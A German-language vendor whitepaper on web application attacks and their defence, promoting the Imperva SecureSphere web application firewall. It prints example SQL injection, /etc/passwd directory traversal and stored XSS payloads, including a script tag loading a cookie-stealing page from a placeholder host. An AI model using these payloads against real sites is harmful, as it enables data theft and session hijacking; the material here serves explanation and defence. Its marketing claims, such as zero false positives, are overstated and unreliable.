Whitepaper // Web Applications

www.it-cube.de iT-CUBE SYSTEMS AG

Web Applications – Wie können sie geschützt werden?

Obwohl die Webseite eines Unternehmens ein enorm wichtiger Erfolgsfaktor ist, wird die Bedeutung der Sicherheit von Web-Appli-kationen immer noch unterschätzt. In erster Instanz spiegelt eine Webseite das Image eines Unternehmens wider und übernimmt die Funktion einer „virtuellen Visitenkarte“. Fehlerhafte oder nicht mehr erreichbare Webseiten, gestohlene Kunden- und Unternehmensdaten oder sogar Schadcodes, die gutwilligen Betrachtern der Webseite untergeschoben werden, sind nur einige katastrophale Folgen, die Hackerangriffe nach sich ziehen und ein Unternehmen damit ruinieren können.

Verwundbarkeiten von Web-Applikationen

Beispielhaft sollen hier einige der bekanntesten Schwachstellen von Web-Applikationen nicht nur vorgestellt werden, auch die leichte Ausnutzbarkeit dieser soll hervorgehoben werden.

SQL Injections

SQL Injection beschreibt einen Angriff, in dem der Benutzer einer Web-Applikation versucht, gezielt SQL-Code einzuschleusen, der auf dem Server ausgeführt wird. Daraufhin werden Daten zurückgeliefert, für die der User nicht autorisiert ist.

Beispiel:

Eine Webseite bietet dem User an, sein Benutzerprofil einzusehen. Die URL zur Einsicht seines Profils lautet http://www.example.com/profile?userid=idhjbn607kluzk. Im Backend werden die Daten seines Profils mit dieser Query abgefragt:

String query =“select * from users where id =’“+userid+”’”

Manipuliert man den userid-Parameter in der URL z.B. auf diese Weise

http://www.example.com/profile?userid = 0‘ or ‘1’=’1’- -

verändert sich der Query String zu

String query =“select * from users where id =’0’ or ‘1’=’1’- - ’”.

www.it-cube.de

www.it-cube.de

Mit diesem Statement wird der gesamte Inhalt der Tabelle des Users aus der Datenbank abgefragt. Gewünschte Werte (z.B. Benut-zernamen und Passwörter) müssen vom Angreifer mit Hilfe entsprechender Statements auf vorhandene Ausgabefelder der Webseite gemappt werden. Der manipulierte Parameter wird durch exzessives Try&Error so lange angepasst, bis das gewünschte Ergebnis erzielt wird.Diese Arbeit wird durch diverse Tools (z.B. sqlmap oder Havij) entschieden vereinfacht. Sie sind in der Lage, vollautomatisch SQL Injections durchzuführen. Der Angreifer benötigt so noch nicht einmal Grundlagenkenntnisse über SQL.

Local / Remote File Inclusion & Directory Traversal

Local File Inclusion bezeichnet einen Angriff auf Web Applikationen, bei dem Dateien in schadhafter Weise in die Ausführung von Web Applikationen integriert werden. Dabei kommen sowohl Dateien in Frage, die bereits auf dem Server vorhanden sind (Konfigurati-onen, Systemdateien, Passwortdateien etc.) als auch solche, die vom User hochgeladen werden können (PHP-Code in Textdateien oder getarnt z.B. in Bilddateien). Remote File Inclusion ermöglicht es, entfernte Dateien zu inkludieren. So kann man schädliche Links oder Dateien in die Webpage importiereren. Bei erfolgreichen Angriffen werden sensible Informationen offen gelegt oder ein beliebiger Code wird auf dem Webserver ausgeführt.Beispiel:

Eine Web-Applikation unterstützt Mehrsprachigkeit. Die Sprache wird über den Parameter „lang“ in der URL gesteuert:http://www.example.com/news/shownews.php?lang=deFür jede unterstützte Sprache ist eine Datei mit den entsprechenden Satzbausteinen auf dem Server gespeichert. Im PHP-Skript wird diese Datei folgendermaßen eingebunden:

include($_GET[„lang“])

Dies ermöglicht es einem Angreifer den „lang“-Parameter beliebig auszutauschen, um andere Dateien in das Skript einzubinden. Bietet die Webseite beispielsweise ein Upload-Formular, kann über dieses eine Datei mit Skriptcode hochgeladen und über Veränderung des Wertes des lang-Parameters eingebunden werden. Fehlerhaft konfigurierten Berechtigungen können genutzt werden, um Dateien wie die error.log oder die access.log die sich schon im System des Apache Servers befinden mit eigenen Skriptcode in die Webseite einzuschleusen. Besonders gefährlich ist es, wenn sensible Dateien wie /etc/passwd oder /etc/shadow inkludiert werden können, um deren Inhalt auf der eigentlichen Webseite anzuzeigen:

http://www.example.com/news/shownews.php?lang=../../../../../etc/passwd

Der Angreifer nutzt in diesem Beispiel die Möglichkeit die Verzeichnisse auf dem Webserver mit Hilfe von „../“–Folgen zu traversieren (Directory Traversal). Ist der Server fehlerhaft konfiguriert, wird der Inhalt der Datei im Browser des Angreifers angezeigt. Mit Hilfe geeigneter Tools können daraus dann die Passwörter der User Accounts auf dem Webserver rekonstruiert werden.

Cross Site Scripting

Cross Site Scripting (XSS) ist der Oberbegriff für einen Angriff, bei dem Script-Code in eine Webanwendung eingeschleust wird. Man unterscheidet zwischen „reflected“ und „persistent“ XSS. Ersteres ist von temporärer Natur und wird ausgeführt, indem ein Benutzer z.B. einen vom Angreifer modifizierten Link aus einer E-mail ausführt. „Persistent“ XSS bezeichnet die Möglichkeit, schadhaften Scriptcode dauerhaft auf einer Webseite einzuschleusen. Jeder User, der die Webseite aufruft, lädt auch das schadhafte Script.Beispiel:Ein Angreifer benutzt die Kommentar-Funktion einer Webseite:Sehr interessanter Artikel!<script language=“javascript“ src=“http://www.example.com/processcookie.php“ />Der Kommentar wird gespeichert und fortan auf der Webseite angezeigt. Das <script>–Tag wird im Browser jeder Person ausgeführt, die die Seite aufruft, und bewirkt, dass processcookie.php auf dem Server des Angreifers ausgeführt wird. Da dieses Skript aus dem aktuellen Benutzerkontext ausgeführt wird, sind dort auch alle aktuellen Session-Cookies verfügbar. Das PHP-Skript kann diese dann auslesen und den Angreifer benachrichtigen. Dieser kann daraufhin mit Hilfe der geklauten Cookies die Session des Opfers überneh-men (Session Hijacking).

Verfügbarkeit von Web-ApplikationenDie Denial-of-Service (DoS) Attacke hat das Ziel, den Asset außer Betrieb zu nehmen. z.B. ist dann die Anwendung durch zahlreiche Requests nicht mehr in der Lage, die neue Requests zu bearbeiten. Dabei kann es sich um ein Problem mit der Infrastruktur handeln, es kann jedoch auch direkt an der Anwendung liegen - wie der Remote Buffer Overflow. Ein anderes Beispiel ist die Sperrung von vielen Accounts.

Absicherung von Web-ApplikationenUm eine Web-Applikation gegen Angriffe zu sichern, sollten verschiedene Sicherheitsmaßnahmen zum Einsatz kommen. Dabei ist es besonders wichtig zu erkennen, dass das Absichern einer Web-Applikation kein einmaliges Ereignis, sondern ein fortlaufender Prozess ist. Angriffsvektoren, die Web-Applikation selbst sowie die gesamte Infrastruktur, in die sie eingebunden ist, verändern sich stetig. Eine Web-Applikation, die heute sicher ist, könnte schon innerhalb kürzester Zeit Sicherheitslücken aufweisen.

www.it-cube.de

www.it-cube.de

Awareness der Programmierer und SystemadministratorenSichere Programmierung und Härtung sind die ersten und wichtigsten Schritte in Richtung einer sicheren Web Applikation. Die wich-tigsten zu ergreifenden Maßnahmen umfassen:• Input-Validierung,

• Erzwingen von TLS/SSL,

• Verschlüsselung sensibler Benutzer-Daten,

• Erzwingen sicherer Kennwörter,

• Ein sicheres Session-Management und

• Ein sicheres Benutzer- und Berechtigungskonzept auf dem Webserver Betriebssystem.

Für detaillierte Informationen zu den einzelnen Punkten sei hier von iT-CUBE z.B. auf http://www.owasp.org verwiesen.

Vulnerability ManagementDie Web-Applikation muss regelmäßig auf Sicherheitslücken überprüft werden. Dazu stehen von zahlreichen Herstellern, z. B. Nessus, Vulnerability Scanner zur Verfügung, die dies automatisiert durchführen.Die manuelle Durchführung von Penetration Tests deckt unter Umständen zudem Sicherheitslücken auf, die durch automatisierte Tests nicht auffindbar sind. Insbesondere werden hier durch Social Engineering Schwachstellen aufgedeckt, die durch falsches Benutzerver-halten verursacht werden.Sowohl automatisches als auch manuelles Testen sollte in regelmäßigen Abständen wiederholt werden.

Real-Time Application Self-Protection (RASP)Eine der zwei modernen Methoden, die die Webanwendungen in der Echtzeit schützen kann, ist sogenannte Real-Time Application Self-Protection (RASP). Ein Agent, welcher auf dem Anwendungsserver läuft, überwacht das Runtime Environment und kann so abnorma-le Ereignisse erkennen. Je nach Ereignis kann der Angriff geloggt oder geblockt werden. Von großem Vorteil ist, dass die Konfiguration wenig Aufwand mit sich bringt und keine False Positives generiert werden.

Web Application Firewall (WAF)Eine Web Application Firewall ist in der Lage, Web-Applikationen gezielt gegen Angriffe zu schützen. Sie operiert in der Regel nicht wie herkömmliche Firewalls auf den OSI Protokollschichten bis Layer 4, sondern überwacht den Datenverkehr bis zur Anwendungs-schicht. Dort wird insbesondere der Datenverkehr über die Protokolle HTTP und HTTPS überwacht, die die Kommunikation eines Clients mit der Webanwendung ermöglichen. WAF wird auch gegen DDoS Attacken eingesetzt. Einige WAFs bieten auch eine Cloud-Variante an, um die Anwendungen sowohl vor Ort als auch in der Cloud zu schützen.

Was sind die wichtigsten Features einer WAF?• Real-Time alerting and blocking of malicious traffic

– Der gesamte HTTP(S) traffic zwischen Clients und dem Webserver wird überwacht. Bei ungewöhnlichem Verhalten werden Alerts erzeugt und in kritischen Fällen können Anfragen an den Webserver geblockt werden.

• Application Profiling

– Die WAF verfolgt einen Whitelisting Ansatz, bei dem über einen bestimmten Zeitraum legitimes Benutzerverhaltegelernt wird. Nach der Lernphase können Requests, die vom gelernten Verhalten abweichen, geblockt werden. Automatisch gelernte Profile können jederzeit manuell modifiziert werden.

• Reporting

– Reports können über sämtliche Ereignisse erstellt werden. Dazu zählen z.B. Angriffe, Administratortätigkeiten auf der WAF oder Nutzerverhalten auf der Webseite. Dafür stehen tabellarische und grafische Gestaltungsmöglichkeiten zur Verfügung.

• Virtual Patching

– Wird eine Sicherheitslücke in der Web Applikation entdeckt, ist es häufig nicht möglich, diese binnen kurzer Zeit zu schließen. Ressourcenengpässe oder lange QA-Zyklen sind nur zwei von vielen möglichen Gründen, die dafür sorgen, dass es Wochen dauern kann, bis die Web Applikation wieder sicher ist. Die Imperva WAF unterstützt deshalb Virtual Patching. Damit ist es möglich, von einem Vulnerability Scanner gefundene Sicherheitslücken innerhalb von Minuten zu schließen. Sobald die Lücke programmatisch oder mittels Infrastruktur geschlossen wurde, kann der Patch jederzeit aus der WAF entfernt werden.

• Data Leakage Prevention (DLP) Features– Es stehen DLP Features zur Verfügung, um z.B. Kreditkartennummern, die in Alerts enthalten sind, zu maskieren oder um die Anzeige sensibler Daten auf der Webseite zu verhindern.

www.it-cube.de

www.it-cube.de

• Security Information & Event Management (SIEM) Integration– Alerts können per Syslog an einen beliebigen Syslog Receiver gesendet werden. Dadurch können Events leicht für spätere forensische Analysen oder zur Echtzeitkorrelation in SIEM Systeme integriert werden. Imperva unterstützt das Common Event. Format (CEF) des führenden SIEM Herstellers HP ArcSight ESM.

• Threat Intelligence– Jede WAF bietet heutzutage die Möglichkeit an, aktuelle Informationen über Bedrohungen von Threat-Intelligence-Systemen zu bekommen und zu verwerten. Meistens sind das schädliche IP-Adressen und URLs. Wichtig ist aber auch zu wissen, aus welchem Grund die IP-Adresse/URL unter Verdacht steht, damit die WAF den Kontext erkennen kann.

Imperva SecureSphere – die ausgereifte Web Application FirewallDie Imperva SecureSphere Web Application Firewall die marktführende WAF-Lösung. Diese kann ist als Hardware, Virtual Appliance oder Cloud-Lösung verfügbar. SecureSphere bezeichnet dabei die ge-meinsame Plattform für Web Application Firewall, Database Firewall und File Firewall. Die drei Lösungen lassen sich einzeln betreiben oder nahezu nahtlos ineinander integrieren.a.) Flexible DeploymentImperva kann vor Ort als Physical oder Virtual Appliance installiert werden. In der Cloud kann es in Amazon Web Services genutzt werden. Ein Hybrid aus beiden Modellen ist auch möglich.

b.) Integration mit Application ScannersZusätzlich zu SIEM, Vulnerability Scanner und Malware Protection-Produkten lässt sich Imperva auch mit DAST (Dynamic Application Security Testing) Tools wie Veracode und HPE Fortify WebInspect integrieren. So können die Ergebnisse des Scans in die WAF schnell importiert werden.

c.) Die Daten liegen immer im Fokus.In Kombination mit anderen Produkten von Imperva sind Daten von Datenbanken, Webanwendungen, Cloud und Fileservern hervor-ragend geschützt und die Ergebnisse können korreliert werden.

d.) ThreatRadarThreatRadar ist ein von Imperva angebotener Service, der permanent aktuelle Informationen an die WAF liefert. Dazu gehören IP-Adressen von TOR exit points, anonyme Proxy Server, bekannte schadhafte IP-Adressen sowie URLs von Phishing Sites und die geogra-phische Position von IP Adressen. Dadurch können gezielt wichtige Angriffsvektoren ausgeschaltet werden wie z. B. Hacker, die ihre

Identität hinter anonymen Proxy Servern verstecken.Die Imperva SecureSphere WAF kann Inline, als Proxy oder im Sniffing Mode eingesetzt wer-den. Abbildung 1 zeigt die Architektur im Inline Betrieb. Die WAF wird als Bridge zwischen User und Webserver eingesetzt. Die komplette Lösung besteht aus mindestens einem Gate-way (GW) sowie aus einem Management Server (MX), über den die Gateways verwaltet werden. Bei nur einem Gateway ist auch eine „OneBox“ Lösung verfügbar, bei der MX und GW auf derselben Appliance laufen.

Imperva SecureSphere WAF Beispiel Use CasesDieser Abschnitt beschreibt, wie die am Anfang vorgestellten Angriffe durch die Imperva SecureSphere WAF vereitelt werden können. Das Alerting bzw. das Blocking basiert in allen gezeigten Beispielen auf Standard-Content, der von Imperva bereits mitgeliefert wird.

SQL InjectionIm Folgenden wird eine SQL Injection Attacke gegen eine Web Applikation mit dem Tool Havij durchgeführt. Ohne Schutz durch Imperva SecureSphere ist die Havij-Attacke gegen eine verwundbare Web Applikation erfolgreich, wie in Abbildung 2 links zu sehen ist. Sämtliche Datenbanken, Tabellen und deren Inhalte sind über die Havij GUI einsehbar und können in verschiedene Formate exportiert werden.Dieselbe Attacke wurde ein zweites Mal durchgeführt, diesmal allerdings mit aktivier-ter Imperva SecureSphere WAF. Das Ergebnis der Attacke ist in Abbildung 2 rechts zu sehen. Anstelle von Informationen zu Datenbanken und Tabellen werden lediglich Fehlermeldungen ausgegeben.

Anstelle von Informationen zu Datenbanken und Tabellen werden lediglich Fehlermeldungen ausgegeben.Abbildung 3 zeigt die Alerts in der SecureSphere GUI, die durch die Havij- Attacke generiert wurden. Die Attacke wurde durch verschiedene Standard-Signaturen erkannt, wie Abbildung 3 entnommen werden kann.

Abbildung 2: Alerts in SecureSphere nach Havij Attacke

Abbildung 1: Imperva SecureSphere Inline Bridge Deployment

Abbildung 3: Alerts in SecureSphere nach Havij Attacke

www.it-cube.de

Paul-Gerhardt-Allee 2481245 München, Germany

T: +49 89 2000 148 00 F: +49 89 2000 148 29

info@it-cube.de www.it-cube.de

iT-CUBE SYSTEMS AG

Unsere Experten sind für Sie da, wir helfen Ihnen gern weiter. Kontaktieren Sie uns jederzeit, unverbindlich!

Die rot dargestellten Alerts haben den Request geblockt, bevor dieser den Webserver erreicht hat. Dadurch konnten keinerlei Daten aus der Datenbank abgegriffen werden.

Local File Inclusion & Directory TraversalIn diesem Beispiel wird ein Directory Traversal auf dem Webserver durchgeführt, um eine Datei auf dem Webserver in die aktuelle Webseite einzubinden und deren Inhalt somit dem Angreifer preiszugeben (s. Abbildung 4).

Durch Manipulation eines GET-Parameters in der URL wird versucht, auf die Datei/etc/passwd zuzugreifen. Die WAF blockt den Request und sendet eine konfigurierbare Fehlermeldung an den Angreifer zurück.In der SecureSphere Administrationsoberfläche wird die Attacke durch die in Abbildung 5 gezeigten und auf Standard-Signaturen basierenden Alerts angezeigt.

Cross Site Scripting

Die angegriffene Web Applikation bietet ein simples Formular an, in dem ein Name sowie eine Nachricht eingetragen werden können. Nach Absenden des Formulars wird beides als Kommen-tar auf der Webseite angezeigt.Der Angriffsversuch wird in Abbildung 6 dargestellt. Neben einem beliebigen Namen wird Text, der Javascript-Code beinhaltet, in das Web-Formular eingetragen, um eine Verwundbarkeit gegen persistente XSS-Attacken auszunutzen.

Das Absenden des Formulars führt jedoch nicht zu dem gewünschten Er-gebnis, dass der Jasvascript-Code permanent auf der Webseite gespeichert wird. Stattdessen wird der Request geblockt und es wird eine konfigurierbare Fehlermeldung auf der Webseite angezeigt. In der Administrationskonsole wird der Angriffsversuch durch den in Abbildung 7 dargestellten Alert ange-zeigt, der auch hier auf Standard-Signaturen basiert.

SecureSphere bietet eine Fülle weiterer Informationen zu jedem Alert. Dazu gehören z.B. HTTP Request Header oder Namen und Werte von GET- und POST-Parametern der angeforderten Webseite.

Abbildung 6: Versuch einer persistenten XSS Attacke

Abbildung 7: SecureSphere Alert nach XSS Attacke

Fazit

Web Applikationen sollten besonderen Schutz genießen, da deren leichte Zugänglichkeit diese zu einem beliebten An-griffsziel macht. Nicht selten bestehen sie aus einer kaum noch zu überblickenden Menge aus eigenem, proprietärem und frei zugänglichem Code, was die Wartbarkeit drastisch reduziert. Im Falle eines Sicherheitsvorfalles sind zeitnahe effektive Maßnahmen somit beinahe unmöglich.

Genau hier setzt die Imperva SecureSphere Web Application Firewall an. Diese entzieht einem Hacker jede Angriffsgrund-lage und leitet nur solche Anfragen an den Webserver, die durch harmloses Benutzerverhalten verursacht werden.

Klingt überzeugend?

Dann investieren Sie ein paar Minuten Ihrer Zeit, die sich für Sie bezahlt machen werden - setzen Sie sich mit uns in Ver-bindung.

Mehr über Imperva SecureSphere erfahren Sie unter:

http://www.it-cube.net/loesungen/it-security/application-security/imperva/uebersicht.html

Mehr über Vulnerability Management erfahren Sie unter:

http://www.it-cube.net/loesungen/it-security/vulnerability-management.html

Abbildung 5: SecureSphere Alerts nach Directory Traversal

Abbildung 4: Versuch einer Local File Inclusion Attacke durch Directory Traversal